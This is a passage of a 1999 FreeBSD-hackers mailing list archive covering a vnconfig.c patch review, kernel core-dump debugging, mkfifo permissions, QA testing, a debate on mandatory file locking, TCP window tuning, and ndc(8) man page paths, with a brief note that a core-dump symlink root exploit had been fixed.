w/o an associated free().] Anyone opposed? Comments? style(9) bugs? -Mark Taylor NetMAX Developer mtaylor@cybernet.com http://www.netmax.com/ Index: vnconfig.c =================================================================== RCS file: /home/ncvs/src/usr.sbin/vnconfig/vnconfig.c,v retrieving revision 1.10 diff -u -r1.10 vnconfig.c --- vnconfig.c 1999/05/16 08:09:23 1.10 +++ vnconfig.c 1999/08/26 19:48:47 @@ -46,6 +46,7 @@ "$Id: vnconfig.c,v 1.10 1999/05/16 08:09:23 phk Exp $"; #endif /* not lint */ +#include #include #include #include @@ -54,6 +55,7 @@ #include #include #include +#include #include #include #include @@ -236,6 +238,17 @@ FILE *f; u_long l; + rv = 0; + + /* + * Prepend "/dev/" to the specified device name, if necessary. + * Operate on vnp->dev because it is used later. + */ + if (vnp->dev[0] != '/' && vnp->dev[0] != '.') { + dev = malloc(strlen(vnp->dev)+6); + (void)sprintf(dev, "/dev/%s", vnp->dev); + vnp->dev = dev; + } dev = vnp->dev; file = vnp->file; flags = vnp->flags; @@ -318,7 +331,7 @@ if (rv) { warn("VNIO[GU]SET"); } else if (verbose) - printf("%s: flags now=%08x\n",dev,l); + printf("%s: flags now=%08lx\n",dev,l); } /* * Reset an option @@ -332,7 +345,7 @@ if (rv) { warn("VNIO[GU]CLEAR"); } else if (verbose) - printf("%s: flags now=%08x\n",dev,l); + printf("%s: flags now=%08lx\n",dev,l); } /* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 13:22:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by hub.freebsd.org (Postfix) with SMTP id EF5C414C18 for ; Thu, 26 Aug 1999 13:22:12 -0700 (PDT) (envelope-from amitsingh@aura.research.bell-labs.com) Received: from scummy.research.bell-labs.com ([135.104.2.10]) by crufty; Thu Aug 26 16:18:37 EDT 1999 Received: from aura.research.bell-labs.com ([135.104.46.10]) by scummy; Thu Aug 26 16:18:36 EDT 1999 Received: (from amitsingh@localhost) by aura.research.bell-labs.com (8.9.1/8.9.1) id QAA08160 for hackers@FreeBSD.ORG; Thu, 26 Aug 1999 16:18:33 -0400 (EDT) From: Amit Singh Message-Id: <199908262018.QAA08160@aura.research.bell-labs.com> Subject: Examining kernel core dump: gd_curpcb To: hackers@FreeBSD.ORG Date: Thu, 26 Aug 1999 16:18:33 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The kernel (a hacked 3.2-RELEASE) dumps core (courtesy a panic), and upon a subsequent boot, the following happens: # cd /usr/src/sys/compile/FOOKERNEL # gdb -k GNU gdb 4.18 ... (kgdb) symbol-file kernel.debug Reading symbols from kernel.debug...done. (kgdb) exec-file /var/crash/kernel.0 (kgdb) core-file /var/crash/vmcore.0 IdlePTD 4294967295 kernel symbol `gd_curpcb' not found. gd_curpcb is (apparently) not referenced in either of the kernel, kernel.debug or vmcore files. It is however referenced in /usr/libexec/elf/gdb though. Next, a "grep gd_curpcb **/*" in the GNU source for gdb-4.18 yields no match. The file src/gnu/usr.bin/binutils/i386/kvm-fbsd.c does contain the following: curpcb = kvtophys(cfd, ksym_lookup ("gd_curpcb") + prv_start); The question is: where is this symbol defined so that gdb can look it up successfully? Regards Amit Singh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 14:36:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id F25D1153C6 for ; Thu, 26 Aug 1999 14:36:10 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id XAA14883 for freebsd-hackers@freebsd.org; Thu, 26 Aug 1999 23:35:15 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 1E648870A; Thu, 26 Aug 1999 23:22:14 +0200 (CEST) Date: Thu, 26 Aug 1999 23:22:14 +0200 From: Ollivier Robert To: freebsd-hackers@freebsd.org Subject: Re: mkfifo default creation mode 0777 Message-ID: <19990826232214.A58056@keltia.freenix.fr> Mail-Followup-To: freebsd-hackers@freebsd.org References: <58500.935663066@axl.noc.iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: <58500.935663066@axl.noc.iafrica.com>; from Sheldon Hearn on Thu, Aug 26, 1999 at 12:24:26PM +0200 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5543 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Sheldon Hearn: > I can't see why we use 0777. Would bad things happened if I changed this > to 0666 while I'm in there? I don't think so. I don't see any need of allowing FIFO to be executable... I'd say, go for it. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #73: Sat Jul 31 15:36:05 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 14:52:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 2900714CBA for ; Thu, 26 Aug 1999 14:52:02 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id XAA32164; Thu, 26 Aug 1999 23:27:11 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id UAA18183; Thu, 26 Aug 1999 20:43:26 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199908261843.UAA18183@yedi.iaf.nl> Subject: Re: Looking for good QA tests... In-Reply-To: <199908261826.OAA00692@bmcgover-pc.cisco.com> from Brian McGovern at "Aug 26, 1999 2:26:26 pm" To: bmcgover@cisco.com (Brian McGovern) Date: Thu, 26 Aug 1999 20:43:26 +0200 (CEST) Cc: mark@grondar.za, hackers@FreeBSD.ORG X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Brian McGovern wrote ... > >> Mmmm... No. _I_ (read: Not Cisco as a whole) am looking for tests that will > >> help locate bugs pre-release copies of the OS so that there is still time for > >> others to debug the code before Jordan cuts the release. Its more of a > >> "lets help the project by coordinating testing" thing.... > > > >A regression test to make sure that the OS is not broken before you > >inflict it on your colleagues/engineers? > > > >M > > Still too small a scope. How about "A regression test to make sure that the OS > is not broken before Jordan inflicts it on the world" ? A bunch of years ago we used the AT&T SVVS and the X/Open VSX testsuite to check on our SysV (!) system. Both code sets run a *lot* of tests but are A. non-BSD and B. non open source. Wilko -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15: 3:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 693BE1514F for ; Thu, 26 Aug 1999 15:03:43 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id PAA479754; Thu, 26 Aug 1999 15:02:31 -0700 Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp05.primenet.com, id smtpdRxkWia; Thu Aug 26 15:02:28 1999 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id PAA09492; Thu, 26 Aug 1999 15:02:25 -0700 (MST) From: Terry Lambert Message-Id: <199908262202.PAA09492@usr06.primenet.com> Subject: Re: Mandatory locking? To: will@iki.fi (Ville-Pertti Keinonen) Date: Thu, 26 Aug 1999 22:02:25 +0000 (GMT) Cc: tlambert@primenet.com, wes@softweyr.com, hackers@FreeBSD.ORG In-Reply-To: <19990826065947.19862.qmail@ns.oeno.com> from "Ville-Pertti Keinonen" at Aug 26, 99 06:59:47 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I was assuming that mandatory locking, in the context of this > discussion, does not mean automatic, forced exclusion on open, but > rather explicit locks, applied by calls similar to those used for > advisory locking, that are enforced by the kernel. It's not mandatory, if it's not implicit. You can't enforce locks against processes that don't make lock calls, if it's not implicit. I think this has been the basis of your objection so far. If so, it's a fundamental misunderstanding of "mandatory". In this context it means that no program has the option of not participating in the locking protocol. > > Also, I believe your example is flawed. If a file is opened by a > > Not for explicit locking, I hope. By your definiton of explicit, no. However, explicit locking is voluntary, just as advisory locking is voluntary, in terms of whether programs participate (or not). This pretty much means that explicit locking degrades to advisory locking, in the presence of (un)intentionally non-participatory programs. Since we already have advisory locking, this case is not really interesting to consider. > So if a process wishes to use explicit locking calls, it indicates > that intent when opening the file - otherwise, the open implicitly > locks the file. So multiple writers, or simultaneous readers and > writers are only permitted for programs that indicate that they are > going to use explicit locks on the file. This is a case of "the excluded middle". It presumes, incorrectly, that there will always be at least one program engaged in explicit locking on a file to which explicit locking must be applied (the kernel can only enfoce exclusion of non-participating programs if it know that the file has explicit access semantices). This neglects the case of a file that requires these semantics, but which is not currently in use by a program which employs them. In that particular case, non-participating programs are (incorrectly) permitted access to the file. There are obscure ways around this. You could implement, for example, an access manager, and use file permissions to protect the file. Then you require all programs accessing the file to obtain the fd they will use via a transaction that results in an open, with the explicit locking semantics, which passes the resulting fd to the requesting program via descriptor passing. This is incredibly arcane, and doesn't work over a network (where descriptor passing won't work), but it's one method of turning explicit participation in a locking protocol into something useful. > > You have to have mandatory locking to implement transactions... > > like updating the parity bits on a RAID 5 stripe. > > But you certainly don't want to use open/read/write/close cycles for > such a purpose. No. Which is why you would want to implement mandatory participation in a range locking protocol, and prohibit reads and writes. This is somewhat defeated by FreeBSD's unified VM and buffer cache, in that you would have to disallow mmap() of such files, seperate the access semantics into a semantic VFS stacking layer with its own idea of backing store, or hack the VM to make the pages virtually unmapped -- that is, take read and write faults, and enforce the lock semantics at fault time. It's ugly, but it's useful. My gut tells me that software RAID 5 belongs in kernel space, or if in user space, requires a seperate VFS stacking layer to proxy the user space requests into kernel space, at the expense of explicit backing store and underlying object coherency. > > This is already possible, using O_EXCL. Likewise, it doesn't > > I think you mean O_EXLOCK. It sets an advisory lock, it does not help > against programs that don't use locks. Yes, for 4.4BSD, it's O_EXLOCK. For everything else, it's O_EXCL. > > apply to device files, and can not be applied (via fcntl(2)) to > > any files whose vnodes indirect through other than the vfsops > > version of "struct fileops". > > It doesn't depend on the struct fileops selected, fcntl checks > explicitly that f_type is DTYPE_VNODE before assuming that f_data > points to a vnode. The mechanics are irrelevant for the open call, which goes through the VFS to specfs for devices. It would be more relevant if we were talking about lock operations after the open. As shown above, though, these are not useful in the sense that mandatory locks are useful. > > For SVR4 semantics, you can set the suid/sgid permission bits on a > > non-executable file. > > The document describing "mandatory" locking in Linux seems to indicate > that setting sgid changes the behavior of locking calls to apply > explicit locks rather than merely advisory ones, and that this is what > is done by other operating systems as well. > > Actually an implementation could still use the existing (advisory) > locks internally, but apply advisory locks in the kernel for the > duration of operations that need them (read/write/some cases of open). This is really insufficient. The unified VM and buffer cache case makes this difficult. In an non-unified system, you would have the coherency code that you could use to enforce you semantics (at the expense of requiring the coherency to be synchronous to give immediate failure feedback at system call time). SVR4 has the coherency code which it can use for this. I imagine that the current Solaris 2.6 kernel code to handle this compatability case looks rather, uh, "insane". > > The act of opening the file for O_RDONLY sets a read lock on the > > entire file, which allows multiple readers, and the act of opening > > the file O_RDWR sets a write lock on the file, which allows a single > > writer. > > I'm fairly certain this is not what is being discussed. Certainly not > by more than half of the participants in the discussion. ;--) Heh. 8-). > > Again, there are no issues with badly behaved processes. There > > is no such thing as a badly behaved process. > > I agree, for implicit locks there isn't. I think this is what fit's Greg's bill the best: implict, forced participation in the locking protocol. It's also the only safe bet, if you have badly behaved processes, since explicit locking can fail, in that case. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:23: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id F38D81534A for ; Thu, 26 Aug 1999 15:22:33 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA86378; Thu, 26 Aug 1999 16:21:02 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA68408; Thu, 26 Aug 1999 16:22:20 -0600 (MDT) Message-Id: <199908262222.QAA68408@harmony.village.org> To: crypt0genic Subject: Re: (forw) FreeBSD (and other BSDs?) local root explot Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 26 Aug 1999 18:46:54 BST." <19990826184654.A489@ecad.org> References: <19990826184654.A489@ecad.org> Date: Thu, 26 Aug 1999 16:22:20 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <19990826184654.A489@ecad.org> crypt0genic writes: : This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? Yes. We are and have been working to correct the problem. In fact, there is a kernel patch that has been committed. A quick and dirty workaround has been posted to -security. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:23:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D1D6E15460 for ; Thu, 26 Aug 1999 15:23:04 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA86382; Thu, 26 Aug 1999 16:22:32 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA68421; Thu, 26 Aug 1999 16:23:50 -0600 (MDT) Message-Id: <199908262223.QAA68421@harmony.village.org> To: Julian Elischer Subject: Re: (forw) FreeBSD (and other BSDs?) local root explot Cc: crypt0genic , hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 26 Aug 1999 11:40:35 PDT." References: Date: Thu, 26 Aug 1999 16:23:49 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Julian Elischer writes: : quickest fix would be to make the core-dump routines not follow symlinks. An even quicker fix would be to disable coredumps in periodic, since no reboot would be required. :-) As has been noted in -security, the kernel fix has been committed. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:23:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id B31AE15D56; Thu, 26 Aug 1999 15:23:12 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA86388; Thu, 26 Aug 1999 16:23:05 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA68434; Thu, 26 Aug 1999 16:24:23 -0600 (MDT) Message-Id: <199908262224.QAA68434@harmony.village.org> To: Peter Holm Subject: Re: Seeking testers for change to lib/libc/gen/fts.c Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 26 Aug 1999 22:47:17 +0200." <37C5A7D5.9A7F4B25@freebsd.org> References: <37C5A7D5.9A7F4B25@freebsd.org> Date: Thu, 26 Aug 1999 16:24:23 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <37C5A7D5.9A7F4B25@freebsd.org> Peter Holm writes: : The patch is available at http://www.freebsd.org/~pho/fts.diff You might want to work with Bruce Evens who has patches as well.. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:40:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id C83741534A; Thu, 26 Aug 1999 15:40:51 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id SAA01835; Thu, 26 Aug 1999 18:35:21 -0400 (EDT) Message-Id: <199908262235.SAA01835@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 26 Aug 1999 17:29:32 -0400 To: isp@freebsd.org From: Dennis Subject: Default Window Cc: hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there a way to make a web server (or any freebsd host for that matter) negotiate a window of a specific size? Bandwidth management works better with smaller windows...it would be interesting to be able to tum a server (perhaps dynamically) Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:52:36 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from enterprise.sanyusan.se (enterprise.sanyusan.se [195.24.160.51]) by hub.freebsd.org (Postfix) with ESMTP id 6667F14DD4 for ; Thu, 26 Aug 1999 15:52:31 -0700 (PDT) (envelope-from anders@enterprise.sanyusan.se) Received: (from anders@localhost) by enterprise.sanyusan.se (8.9.3/8.9.3) id AAA52679 for hackers@freebsd.org; Fri, 27 Aug 1999 00:46:08 +0200 (CEST) (envelope-from anders) Date: Fri, 27 Aug 1999 00:46:08 +0200 From: Anders Andersson To: hackers@freebsd.org Subject: (forw) Re: ndc(8) Message-ID: <19990827004608.A52663@enterprise.sanyusan.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----- Forwarded message from Nik Clayton ----- Date: Thu, 26 Aug 1999 21:20:16 +0100 From: Nik Clayton To: Anders Andersson Cc: freebsd-doc@freebsd.org Subject: Re: ndc(8) Message-ID: <19990826212016.D86126@catkin.nothing-going-on.org> X-Mailer: Mutt 0.95.4i Organization: FreeBSD Project On Thu, Aug 26, 1999 at 10:02:01AM +0200, Anders Andersson wrote: > I found that ndc(8) man page is a little wrong, for example > > 'stats Causes named to dump its statistics to /var/tmp/named.stats' > > is not correct, since named.stats get dumped to /etc/namedb/named.stats. > > It should read: > > 'stats Causes named to dump its statistics to /etc/namedb/named.stats' > > This also applies for /var/tmp/named_dump.db, that one goes also in > /etc/namedb. Guys, before we fix the manpage on this, could someone please follow this up with -hackers? I was under the impression (but could be wrong) that programs weren't meant to do this sort of thing in /etc (or subdirectories of /etc) and that /var/ is the best place for them. As I say, I could be wrong, but it'd be nice to get confirmation from -hackers that this is the expected behaviour. N -- [intentional self-reference] can be easily accommodated using a blessed, non-self-referential dummy head-node whose own object destructor severs the links. -- Tom Christiansen in <375143b5@cs.colorado.edu> ----- End forwarded message ----- -- Anders Andersson anders@sanyusan.se Sanyusan International AB http://www.sanyusan.se/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 15:52:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from enterprise.sanyusan.se (enterprise.sanyusan.se [195.24.160.51]) by hub.freebsd.org (Postfix) with ESMTP id 2969C15D58 for ; Thu, 26 Aug 1999 15:52:50 -0700 (PDT) (envelope-from anders@enterprise.sanyusan.se) Received: (from anders@localhost) by enterprise.sanyusan.se (8.9.3/8.9.3) id AAA52689 for hackers@freebsd.org; Fri, 27 Aug 1999 00:46:44 +0200 (CEST) (envelope-from anders) Date: Fri, 27 Aug 1999 00:46:44 +0200 From: Anders Andersson To: hackers@freebsd.org Subject: (forw) Re: ndc(8) Message-ID: <19990827004644.B52663@enterprise.sanyusan.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----- Forwarded message from Alexey Zelkin ----- Date: Thu, 26 Aug 1999 23:03:07 +0400 From: Alexey Zelkin To: Anders Andersson Cc: freebsd-doc@FreeBSD.ORG Subject: Re: ndc(8) Message-ID: <19990826230307.A1440@scorpion.crimea.ua> X-Mailer: Mutt 0.95.7i hi, On Thu, Aug 26, 1999 at 01:56:50PM +0200, Anders Andersson wrote: > Making a complete patch was easier then I thought. > > This fixes the whole ndc(8) man page. > > Should I send-pr this? First off, make sure that logic of your patch is correct. Quick look on bind manpages shown me that named.8 is also will be changed. Make sure that it's system wide affected problem (it's not your local configuration change). Then you need to submit your changes to bind official maintainer. If it's FreeBSD specific patch then submit it using send-pr(1). PS: If you not sure -- just send-pr it, but note in Description that you're not sure, I'll check it :-) -- Sincerely Yours, | phantom@crimea.edu (primary) Alexey Zelkin | phantom@scorpion.crimea.ua (home) | ICQ: #6196584, FIDO: 2:460/12.26 ----- End forwarded message ----- -- Anders Andersson anders@sanyusan.se Sanyusan International AB http://www.sanyusan.se/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 16: 9:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 808DD1517A for ; Thu, 26 Aug 1999 16:09:16 -0700 (PDT) (envelope-from sthaug@nethelp.no) Received: (qmail 96117 invoked by uid 1001); 26 Aug 1999 23:07:38 +0000 (GMT) To: anders@sanyusan.se Cc: hackers@freebsd.org Subject: Re: (forw) Re: ndc(8) From: sthaug@nethelp.no In-Reply-To: Your message of "Fri, 27 Aug 1999 00:46:08 +0200" References: <19990827004608.A52663@enterprise.sanyusan.se> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Fri, 27 Aug 1999 01:07:38 +0200 Message-ID: <96115.935708858@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > 'stats Causes named to dump its statistics to /etc/namedb/named.stats' > > > > This also applies for /var/tmp/named_dump.db, that one goes also in > > /etc/namedb. > > Guys, before we fix the manpage on this, could someone please follow > this up with -hackers? I was under the impression (but could be wrong) > that programs weren't meant to do this sort of thing in /etc (or > subdirectories of /etc) and that /var/ is the best place for them. named originally dumped to /tmp, as far as I can remember. This was changed (due to the usual problems with symlink races etc in /tmp) to use the same directory as the named working directory, ie. the "directory" line in the named config. Note that it was the BIND developers who changed this. Personally, I don't really like to have named data under /etc, since named data changes (at least on a busy name server) and (IMHO) /etc should not. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 16:30:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt010nb9.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 6D03315D70 for ; Thu, 26 Aug 1999 16:30:31 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from localhost (doug@localhost) by dt010nb9.san.rr.com (8.9.3/8.8.8) with ESMTP id QAA63731; Thu, 26 Aug 1999 16:30:14 -0700 (PDT) (envelope-from Doug@gorean.org) Date: Thu, 26 Aug 1999 16:30:14 -0700 (PDT) From: Doug X-Sender: doug@dt010nb9.san.rr.com To: Anders Andersson Cc: hackers@freebsd.org Subject: Re: (forw) Re: ndc(8) In-Reply-To: <19990827004608.A52663@enterprise.sanyusan.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Anders Andersson wrote: > ----- Forwarded message from Nik Clayton ----- > > Date: Thu, 26 Aug 1999 21:20:16 +0100 > From: Nik Clayton > To: Anders Andersson > Cc: freebsd-doc@freebsd.org > Subject: Re: ndc(8) > Message-ID: <19990826212016.D86126@catkin.nothing-going-on.org> > X-Mailer: Mutt 0.95.4i > Organization: FreeBSD Project > > On Thu, Aug 26, 1999 at 10:02:01AM +0200, Anders Andersson wrote: > > I found that ndc(8) man page is a little wrong, for example > > > > 'stats Causes named to dump its statistics to /var/tmp/named.stats' > > > > is not correct, since named.stats get dumped to /etc/namedb/named.stats. > > > > It should read: > > > > 'stats Causes named to dump its statistics to /etc/namedb/named.stats' > > > > This also applies for /var/tmp/named_dump.db, that one goes also in > > /etc/namedb. > > Guys, before we fix the manpage on this, could someone please follow > this up with -hackers? I was under the impression (but could be wrong) > that programs weren't meant to do this sort of thing in /etc (or > subdirectories of /etc) and that /var/ is the best place for them. > > As I say, I could be wrong, but it'd be nice to get confirmation from > -hackers that this is the expected behaviour. You are correct, a read-only /etc/ is always part of the plan, and /var is the proper place for this kind of info to be dumped. Also, before we invest a lot of time in this, people should be aware that ndc is fundamentally different in BIND 8.2.x. This is not to say that fixing this now is not a good thing, just that it's not worth a whole LOT of time since things will be changing whenever the new BIND is imported. HTH, Doug -- "My mama told me, my mama said, 'don't cry.' 'She said you're too young a man to have as many women you got.' I looked at my mother dear and didn't even crack a smile. I said, 'If women kill me, I don't mind dyin!'" - John Belushi as "Joliet" Jake Blues, "I Don't Know" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 16:54:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 1A6D514CB9 for ; Thu, 26 Aug 1999 16:54:33 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA25746; Thu, 26 Aug 1999 16:54:30 -0700 (PDT) (envelope-from dillon) Date: Thu, 26 Aug 1999 16:54:30 -0700 (PDT) From: Matthew Dillon Message-Id: <199908262354.QAA25746@apollo.backplane.com> To: "Mark J. Taylor" Cc: hackers@FreeBSD.ORG Subject: Re: Request for review: vnconfig.c References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Looks good! -Matt Matthew Dillon :(Since this will be one of my first commits, I'd like to pass it by :as many people as possible.) : : :This patch makes "vnconfig" like "ccdconfig" where you don't have :to specify "/dev/xxx": it will add "/dev/" for you. Same goes :for the "vntab" file. :Also includes "-Wall" cleanup. :... : :-Mark Taylor :NetMAX Developer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 17:21:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 7FAA414BE9; Thu, 26 Aug 1999 17:21:21 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 746ED1CD8E1; Thu, 26 Aug 1999 17:21:21 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Thu, 26 Aug 1999 17:21:21 -0700 (PDT) From: Kris Kennaway To: Brian McGovern Cc: hackers@freebsd.org Subject: Re: Looking for good QA tests... In-Reply-To: <199908261449.KAA02505@bmcgover-pc.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Brian McGovern wrote: > However, I'm now at the point where I'd like to start collecting materials to > do this. By "materials", I mean both test scenarios and code for performing > these tests. I suggest going over all of the various stress-test 